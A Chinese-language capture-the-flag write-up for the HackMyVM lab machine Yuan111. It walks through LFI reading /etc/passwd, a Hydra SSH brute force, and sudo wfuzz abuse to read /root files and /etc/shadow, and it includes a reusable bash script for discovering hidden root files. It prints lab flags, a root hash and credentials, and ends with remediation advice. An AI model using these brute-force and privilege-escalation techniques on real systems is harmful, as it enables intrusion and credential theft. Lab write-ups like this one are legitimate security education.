HackMyVM Yuan111 通关记录|LFI 用户枚举、SSH 爆破与 sudo wfuzz 任意文件读取提权
靶机链接:Yuan111
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Yuan111 | 192.168.1.107 | Debian 10 (buster) Oracle VirtualBox 靶机 |
下面命令以 192.168.1.107 为例;如果你的靶机 IP 不同,把命令中的目标地址替换成实际地址即可。攻击机 IP 固定为 192.168.1.113,用于说明攻击端环境,不影响核心利用链。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp HTTP | 确定攻击面 |
| 信息泄露 | file.php?file=/etc/passwd | 获取系统用户 tao |
| 初始访问 | Hydra + rockyou → tao:rockyou | SSH 低权限 shell |
| sudo 枚举 | sudo -l → (ALL) NOPASSWD: /usr/bin/wfuzz | 发现提权入口 |
| Root Flag | sudo wfuzz -z file,/root/root.txt | 直接读取 root flag |
| Shadow 泄露 | sudo wfuzz -z file,/etc/shadow | 获取 root 密码哈希 |
| 隐藏文件发现 | range 循环 sudo wfuzz -z file,/root/N.txt | 发现 /root/111.txt |
| Root 密码 | /root/111.txt → q6I42RCMyMkDV45svyuF | 获取 root 明文密码 |
| Root Shell | ssh root@192.168.1.107 | 完成目标 |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口扫描
先用 RustScan 做快速端口发现,并联动 Nmap 完成服务识别与脚本扫描:
rustscan -a 192.168.1.107 -- -sV -sC -O -Pn -v
扫描结果:
| 端口 | 服务 | 版本 |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) |
| 80/tcp | HTTP | Apache httpd 2.4.62 (Debian) |
分析: 目标仅暴露 SSH 与 HTTP 两个端口。OS 指纹为 Debian-based Linux(内核 4.19),MAC 地址确认为 Oracle VirtualBox 虚拟机。
2. Web 服务枚举
访问 http://192.168.1.107/,首页主题为 "Rockyou.txt - 密码字典文件介绍",暗示靶机与密码字典攻击相关。
使用 gobuster 进行目录枚举:
gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html,zip,tar,gz,bak -q
关键发现:
| 端点 | 状态 | 说明 |
|---|---|---|
/ | 200 | Rockyou.txt 介绍页面(中文) |
index.html | 200 | 静态首页 |
file.php | 200 | LFI 漏洞端点(空响应) |
server-status | 403 | Apache 状态页(禁止访问) |
3. LFI 信息泄露
file.php 接受 ?file= 参数,可读取系统文件。测试发现仅 /etc/passwd 可读(其他文件返回空,疑似做了路径白名单过滤):
curl -s "http://192.168.1.107/file.php?file=/etc/passwd"
输出(关键行):
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
tao:x:1000:1000:,,,:/home/tao:/bin/bash
分析:
- 系统为 Debian 10 (buster),仅有两个可登录用户:
root和tao tao用户 home 目录位于/home/tao- 首页主题为 rockyou.txt,强烈暗示 SSH 密码在常见字典中
4. 目标信息汇总
IP: 192.168.1.107
Hostname: 111.lan
MAC: 08:00:27:DB:77:78 (Oracle VirtualBox)
OS: Debian GNU/Linux 10 (buster)
Kernel: 4.19.0-27-amd64
用户: root, tao (uid 1000)
0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)
1. SSH 字典爆破
首页即暗示 Rockyou 密码字典,使用 Hydra 对 tao 用户进行爆破:
# 清除旧主机密钥
ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.1.107"
# Hydra 爆破
hydra -l tao -P /usr/share/wordlists/rockyou.txt.gz -t 4 -f ssh://192.168.1.107
输出:
[22][ssh] host: 192.168.1.107 login: tao password: rockyou
凭据 tao:rockyou 命中(密码与字典文件名相同,属于典型的靶机设计)。
2. SSH 初始访问
sshpass -p 'rockyou' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null tao@192.168.1.107 'id; uname -a'
输出:
uid=1000(tao) gid=1000(tao) groups=1000(tao)
Linux 111 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
已成功获取 tao 用户 shell。
0x04 本地信息收集与 User Flag
1. 系统基本信息
sshpass -p 'rockyou' ssh -o StrictHostKeyChecking=no tao@192.168.1.107 \
'id; uname -a; cat /etc/os-release'
输出:
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
VERSION_ID="10"
VERSION_CODENAME=buster
2. sudo 权限检查(关键发现)
sudo -l
输出:
Matching Defaults entries for tao on 111:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id
分析: tao 可以 root 身份无密码执行 wfuzz 和 id。wfuzz 是 Python Web Fuzzer,支持 -z file,<path> 参数以文件内容作为 payload——这可以直接以 root 身份读取任意文件内容(GTFOBins 记录的经典 sudo 提权技巧)。
3. SUID 与 Capability 枚举
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
结果: 系统仅包含标准 Debian SUID 二进制文件(sudo、pkexec、mount 等),无异常 SUID 文件。pkexec 版本为 0.105-31+deb11u1,CVE-2021-4034 (PwnKit) 已修复。无特殊 capability。
4. 内网服务检查
ss -tlnp
输出:
LISTEN 0.0.0.0:22
LISTEN *:80
LISTEN [::]:22
仅 SSH 和 HTTP 两个监听端口,无其他内网服务。
5. 发现 user.txt(第一个 Flag)
ls -la /home/tao/
total 28
drwxr-xr-x 3 tao tao 4096 Jan 7 2026 .
drwxr-xr-x 3 root root 4096 Jan 7 2026 ..
lrwxrwxrwx 1 root root 9 Jan 7 2026 .bash_history -> /dev/null
-rw-r--r-- 1 tao tao 220 Jan 7 2026 .bash_logout
-rw-r--r-- 1 tao tao 3526 Jan 7 2026 .bashrc
drwxr-xr-x 3 tao tao 4096 Jan 7 2026 .config
-rw-r--r-- 1 tao tao 807 Jan 7 2026 .profile
-rw-r--r-- 1 root root 44 Jan 7 2026 user.txt <-- FLAG!
cat /home/tao/user.txt
User Flag:
flag{user-21747e1ca09bfcc4f2551263db0f3dff}
flag 文件属主为 root,tao 仅有读取权限;.bash_history 被符号链接到 /dev/null,无法通过命令历史获取信息。
0x05 权限提升 (Privilege Escalation)
提权充分利用了 sudo wfuzz 的两种用法:(1) 以 root 读取任意文件,(2) range 循环发现隐藏文件。
1. sudo wfuzz 文件读取:直接读取 Root Flag
wfuzz 的 -z file,<path> 参数将文件内容作为 fuzzing 字典,payload 在 HTTP 请求的响应中回显。以 sudo 运行时,wfuzz 以 root 身份打开文件,从而绕过文件权限限制。
读取 Root Flag:
sudo wfuzz -z file,/root/root.txt --hc 404 http://192.168.1.107/FUZZ
输出(关键行):
000000001: 404 9 L 31 W 275 Ch "flag{root-9bbd
404 9 L 31 W 275 Ch 7af2a042a901b92
404 9 L 31 W 275 Ch dc203b3896621}"
Root Flag:
flag{root-9bbd7af2a042a901b92dc203b3896621}
原理说明:
sudo wfuzz -z file,/root/root.txt --hc 404 http://target/FUZZ
│ │ │
│ │ └─ 每行 payload 替换 FUZZ 占位符
│ └─ 以 root 身份打开 /root/root.txt 作为 wordlist
└─ wfuzz 以 root 权限运行
wfuzz 逐行读取文件内容,每行作为 HTTP 请求的 payload 发送至目标服务器。无论服务器返回什么响应码,payload 内容都会显示在 fuzzing 结果表的 "Payload" 列中,从而实现了以 root 身份读取任意文件的目的。
2. sudo wfuzz 读取 /etc/shadow
同样的技术用于读取 /etc/shadow,获取 root 密码哈希:
sudo wfuzz -z file,/etc/shadow --hc 404 http://192.168.1.107/FUZZ
提取的 root 哈希:
root:$6$N2l0GYAc2HyLxS2d$Ks1awHW0JPPVXft/ZpvptPLmh/P/
XiBRqH8G1uTjpDhrLHUwmN2PK8.MqQcrIwSXf2CGxk.ue11f9hZzZdtkw1:20460:0:99999:7:::
SHA-512 ($6$) 哈希,尝试 rockyou.txt 全量字典未命中,说明 root 密码不在常见泄露字典中。
3. Range 循环发现隐藏文件:获取 Root 密码
虽然 root flag 已到手,但尚未获得真正的 root shell。通过分析 /root 目录下仅有 root.txt(flag),推测靶机可能还在 /root 下隐藏了其他文件(如密码文件)。
wfuzz 的 FUZZ 占位符只能在 URL 中生效,无法直接用于 -z file, 的文件路径参数中。因此使用 shell 循环配合 -z file, 的思路:遍历数字范围,逐个探测 /root/N.txt 是否存在。
自编写探测脚本 wfuzz-root-discovery.sh(附件下载):
#!/bin/bash
# wfuzz-root-discovery.sh
# 利用 sudo wfuzz 探测 /root 目录下的隐藏 .txt 文件
# 用法: ./wfuzz-root-discovery.sh <start> <end> [ext] [target_url]
START=${1:-0}
END=${2:-200}
EXT=${3:-txt}
TARGET_URL=${4:-http://192.168.1.107/FUZZ}
for i in $(seq "$START" "$END"); do
result=$(sudo wfuzz -z file,/root/${i}.${EXT} --hc 404 \
"$TARGET_URL" 2>/dev/null || true)
if echo "$result" | grep -q "000000001"; then
payload=$(printf '%s\n' "$result" | awk -F'"' '/000000001/ {print $2; exit}')
echo "[+] 发现: /root/${i}.${EXT}"
echo " 内容: ${payload}"
fi
done
执行探测:
chmod +x wfuzz-root-discovery.sh
./wfuzz-root-discovery.sh 0 200 txt http://192.168.1.107/FUZZ
输出:
[+] 发现: /root/111.txt
内容: q6I42RCMyMkDV45svyuF
成功发现隐藏文件 /root/111.txt,内容为 root 明文密码!
4. SSH root 登录:获取完整 root 权限
使用发现的密码直接 SSH 登录 root:
sshpass -p 'q6I42RCMyMkDV45svyuF' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null root@192.168.1.107 'id; cat /root/root.txt; cat /root/111.txt'
输出:
uid=0(root) gid=0(root) groups=0(root)
flag{root-9bbd7af2a042a901b92dc203b3896621}
q6I42RCMyMkDV45svyuF
完整 root shell 已获取。
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/tao/user.txt - 内容:
flag{user-21747e1ca09bfcc4f2551263db0f3dff}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-9bbd7af2a042a901b92dc203b3896621}
凭据汇总
| 类型 | 用户 | 凭据 | 来源 |
|---|---|---|---|
| SSH 密码 | tao | rockyou | Hydra + rockyou.txt 字典爆破 |
| Root SSH 密码 | root | q6I42RCMyMkDV45svyuF | /root/111.txt(sudo wfuzz range 发现) |
附件下载
| 脚本 | 说明 | 下载 |
|---|---|---|
wfuzz-root-discovery.sh | 通过 range 循环配合 sudo wfuzz -z file, 探测 /root/N.txt,输出发现的文件及其内容 | 下载 |
使用前提:当前用户拥有 sudo NOPASSWD: /usr/bin/wfuzz 权限。
# 快速使用
chmod +x wfuzz-root-discovery.sh
./wfuzz-root-discovery.sh 0 200 txt http://192.168.1.107/FUZZ # 探测 /root/0.txt ~ /root/200.txt
./wfuzz-root-discovery.sh 0 999 txt http://192.168.1.107/FUZZ # 更大范围
./wfuzz-root-discovery.sh 0 100 log http://192.168.1.107/FUZZ # 其他扩展名
复盘总结
Yuan111 靶机的攻击链简洁但每一步都需要对工具特性有深入理解:
-
Rockyou 提示是关键线索。 首页主题为 Rockyou.txt 字典介绍,直接暗示了 SSH 爆破方向。这种"主题式暗示"在 CTF 靶机中常见,不应忽略任何页面信息。
-
sudo wfuzz是核心提权入口。wfuzz的-z file,参数本质是"以当前进程身份打开文件并读取内容",配合sudo即可实现 root 级别的任意文件读取。这是 GTFOBins 中记录的经典 sudo 滥用技巧,但在实际靶机中构造利用链仍需要灵活变通。 -
Range 循环 + 文件读取 = 隐藏文件发现。
wfuzz的FUZZ占位符不支持在-z file,路径中使用,因此无法直接用-z range参数化文件路径。通过 shell 循环配合sudo wfuzz -z file,/root/$N.txt逐个探测,实现了类似目录枚举的效果。这种方法对于发现/root等非 web 可访问目录下的隐藏文件具有通用价值。 -
wfuzz 两种用法的区分。 本次渗透中 wfuzz 扮演了三种角色:(a) HTTP fuzzer(
wfuzz -z range --hc 404 http://target/FUZZ.txt),(b) 文件读取器(sudo wfuzz -z file,/path),(c) 隐藏文件发现器(range 循环 + 文件读取)。理解工具的核心能力比记住具体命令更重要。 -
不要止步于 flag。
/root/root.txt可以在提权前通过文件读取直接获取,但这不代表攻击结束;获取真正的 root shell(通过发现/root/111.txt中的 root 密码)才是渗透测试的完整目标。 -
密码强度与隐匿性的权衡。 root 密码
q6I42RCMyMkDV45svyuF为 20 位随机字符串,不在任何公开字典中(rockyou 全量未命中),但以明文形式存储在/root/111.txt中使其一击即溃。密码的强度不仅取决于复杂度,还取决于存储方式。
防守侧修复建议:
- 审查并收紧 sudoers 配置,避免授予
wfuzz等具备文件读取能力的工具的 NOPASSWD 权限 - 移除
/root下的明文密码文件,使用 SSH key 或 vault 管理 root 凭据 - LFI 漏洞应修复为白名单机制,避免通过参数控制
include/file_get_contents的文件路径 - SSH 启用 key-only 认证,禁用密码登录,或至少配合 fail2ban 限制爆破尝试
- 定期审计
/etc/sudoers和 SUID 二进制文件,消除不必要的特权提升路径